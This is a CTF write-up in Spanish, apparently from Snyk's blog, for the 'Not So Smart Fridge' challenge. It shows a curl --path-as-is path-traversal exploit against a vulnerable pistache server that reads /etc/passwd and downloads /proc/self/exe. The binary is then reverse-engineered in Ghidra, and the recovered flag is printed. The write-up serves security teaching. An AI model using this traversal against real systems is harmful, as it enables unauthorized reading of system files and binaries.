Skip to main content

Solución del CTF Fetch the Flag 2022: Not So Smart Fridge

Escrito por

Antonio Gomes

feature ctf smart fridge

10 de noviembre de 2022

0 minutos de lectura

¡Gracias por jugar Fetch con nosotros! Felicidades a los miles de jugadores que participaron en Fetch the Flag CTF. Y muchas gracias a los Snykers que crearon, probaron y documentaron los desafíos.

Este desafío de Fetch the Flag CTF comienza con una cálida bienvenida y toda la información necesaria sobre nuestro flamante Smart Fridge Ultra SFU-3000. Emocionante, ¿no?

Isaac Asimov predijo una vez: «Se pueden almacenar comidas completas o semipreparadas en el refrigerador, listas para comer. El equipo de cocina podrá preparar “comidas automáticas”, calentar agua y hacer café». Y aquí estamos, usando este refrigerador para pedir productos e incluso reproducir música. ¡Es increíble!

Pantalla de bienvenida de Smart Fridge v0.1 con navegación para Inicio, Productos, Música y Configuración, y texto que describe cómo pedir productos y reproducir música.

Bueno, era emocionante hasta que descubrí que la función Music no estaba disponible. Y la función Settings para actualizar el firmware del refrigerador estaba rota, así que no había forma de actualizarlo desde pistache/0.0.3.20220107 a la versión más reciente. Al menos conocemos la versión del firmware, lo que nos ayudará a identificar la bandera y resolver este desafío.

Pantalla de configuración del sistema Smart Fridge v0.1 que muestra el estado en línea, el modelo SFU-3000 y la versión del framework de software

Guía paso a paso

Después de acceder a la página web de nuestro Smart Fridge Ultra SFU-3000 —y decepcionarnos con sus capacidades reales—, al ir a Settings descubrimos que el firmware es pistache/0.0.3.20220107. Para quienes no conocen pistache, es un framework HTTP y REST moderno para C++, lo cual es útil porque nos da pistas sobre el software detrás de la página web del desafío.

Con esta información, podemos usar Snyk Intel Vulnerability Database para buscar problemas de seguridad relacionados con pistache/0.0.3.20220107. Al buscar pistache, encontramos que Pistache tiene una vulnerabilidad de recorrido de rutas que afecta la versión del firmware de nuestro refrigerador: 0.0.3.20220107. Es una buena noticia, porque podemos intentar explotarla con el comando sugerido a continuación en la PoC de Snyk.

Página de Snyk Vulnerability Database que muestra una vulnerabilidad de recorrido de rutas de gravedad media en el paquete pistacheio/pistache.

Al ejecutar curl --path-as-is, curl no eliminará las secuencias /../ de la ruta completa. Además, esto nos permitirá obtener los resultados que se muestran a continuación, que prueban que logramos recuperar la lista de usuarios con acceso al sistema para aprovechar la vulnerabilidad de recorrido de rutas y que tenemos una carpeta llamada doc.

root:x:0:0:root:/root:/bin/bash
daemon:×:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:×:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp::7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:×:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:×:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/bin/nologin
backup::34:34:backup:/var/backups:/usr/sin/nologin
list:x:38:38:MailingListManager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:×:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sin/nologin
nobody:×:65534:65534:nobody:/nonexistent:/usr/sin/nologin
_apt:×:100:65534::/nonexistent:/usr/sbin/nologin

Al acceder a la ruta de la carpeta doc, obtendremos un documento de la API de Swagger que nos permitirá identificar los endpoints disponibles de nuestra aplicación web (por ejemplo, v1/system/flag/{flag}). En este punto, ya sabemos que estamos ante una aplicación web que usa pistache como binario de C++.

Interfaz de documentación de la API de Swagger que muestra un endpoint /api.json y rutas GET desplegables para datos del sistema y del producto

¿Qué sigue? Aprovecharemos proc de Linux. Más específicamente, /proc/self/exe, que apunta literalmente al proceso que se está ejecutando, que en este caso es el binario de la aplicación web Pistache. Para hacerlo, ejecutamos el siguiente comando:

curl --path-as-is "http://not-so-smart-fridge.c.ctf-snyk.io:8000/doc/../../proc/self/exe" --output exe

Esto nos permitirá descargar el binario de Pistache. Tendremos que hacer ingeniería inversa del binario para averiguar cuál es la bandera. Primero, tendremos que descargar una herramienta de ingeniería inversa de software; en este caso, usaré Ghidra (también disponible para usuarios de MacOS mediante brew).

Con Ghidra, crearé un proyecto nuevo e importaré el binario .exe que descargamos antes.

Cuadro de diálogo de importación de Ghidra que muestra cómo se agrega un ejecutable ELF llamado “exe” al proyecto “ctf-write-up”

Por fin llegamos a la parte emocionante del desafío: ¡averiguar cómo es esta bandera! En Ghidra, filtraremos los resultados por «flag». Así descubriremos que hay un método llamado checkFlag, cuyo contenido podemos ver en la imagen de abajo, en la ventana Decompile: checkFlag - (exe).

Interfaz de ingeniería inversa de Ghidra que muestra código ensamblador, código C++ descompilado, árboles de programas y una función llamada checkFlag.

Al revisar la ventana decompilada, podemos ver que la bandera debe tener 70 caracteres:

if lVar4 == 0x46. La condición definida en el código original indica que lVar4 contiene la longitud de la bandera ingresada, mientras que 0x46 equivale a 70 en decimal.

Primer plano de código fuente con ingeniería inversa, resaltado por colores, que muestra asignaciones de variables y valores hexadecimales.

Si se cumple la condición anterior, length == 70, veremos que se llama a otro método llamado checkIndexes.

Captura de pantalla en primer plano de código informático que muestra una llamada resaltada a la función checkIndexes y un comentario try.

checkIndexes, como vemos en las imágenes de arriba y de abajo, espera una cadena de la bandera que proporciona el programa, un vector con varios índices y un carácter — '7' en la imagen de arriba.

Ventana del descompilador que muestra el código de la función checkIndexes, incluida la iteración del vector y la lógica de comparación de caracteres.

¿Qué significa? Que cada llamada a checkIndexes valida un carácter en las posiciones de cada n índices para determinar si la cadena de la bandera es válida. La lógica consiste en llamar a todos los checkIndexes; si todos pasan, significa que identificamos correctamente la bandera. Para averiguar cuál es, podemos investigar el archivo desensamblado e intentar convertir cada variable local_* de hexadecimal a decimal para determinar la posición

Código C++ descompilado que muestra asignaciones de variables locales, inicialización de un vector y una llamada a la función checkIndexes.
0xd = 13, 0x16 = 22, 0x1d = 29, x27 = 39, 0x28 = 40, 0x2d = 45, 0x3b = 59

{13, 22, 29, 39,40, 45, 59} corresponde a la lista de índices en los que aparece el carácter `5` en la bandera. Ahora construimos la bandera:

SNYK{6af6761359c4b442f534071351518abb7155c48d59df4bb80188ea57ed71eecc}

Otra forma de identificar todos los índices de cada vector asignado es mediante un script (consulta el código). Para hacerlo, exportaremos el programa como archivo C/C++, eliminaremos todo lo demás y tomaremos en cuenta únicamente el método checkFlag y agregaremos un script para analizarlo, convertir las variables local_* de hexadecimal a decimal y determinar los índices de cada carácter hasta reconstruir la bandera.

Visual Studio Code muestra un script de Python, código fuente en C y resultados de la terminal con una cadena de bandera recuperada

Más inteligente que un refrigerador

En este desafío, aprendimos a usar Snyk para identificar una vulnerabilidad de recorrido de rutas en una aplicación web de C++, acceder y descargar el binario del proceso en ejecución, analizarlo con ingeniería inversa usando Ghidra y averiguar la bandera al analizar el binario decompilado. ¡Divertido!

Eso es todo. Espero que hayas disfrutado nuestros desafíos y gracias por participar en Snyk CTF 2022. ¿Quieres saber cómo encontramos las demás banderas? Visita nuestra página de soluciones de Fetch the Flag para descubrir cómo lo hicimos.

Leer más

illustration hero ai
Blog

PHP corrige dos vulnerabilidades críticas de RCE sin autenticación (CVE-2026-109618, CVE-2026-109619): actualiza ahora

Dos fallas críticas en el ciclo de solicitudes de PHP pueden permitir la ejecución remota de código sin autenticación. Actualiza a una versión corregida o instala una corrección retroportada por un proveedor para las versiones anteriores.

blog feature ai lilac
Blog

Convierte tu backlog de vulnerabilidades en pull requests con la remediación agéntica

Evo Remediation Agent ya está disponible en Open Preview e incorpora la resolución automatizada de dependencias a Evo Agentic AppSec. Ahora, los equipos de AppSec pueden ejecutar campañas de remediación continuas

AI Background min crop
Blog

La IA activa todos los riesgos que has aceptado: siete ideas del panel de seguridad de IA sin filtros

La IA hace que los ataques sean más baratos y rápidos, y deja al descubierto riesgos que las organizaciones ya enfrentan. Cuatro líderes de seguridad explican por qué la defensa a velocidad de máquina y la corrección más rápida son esenciales.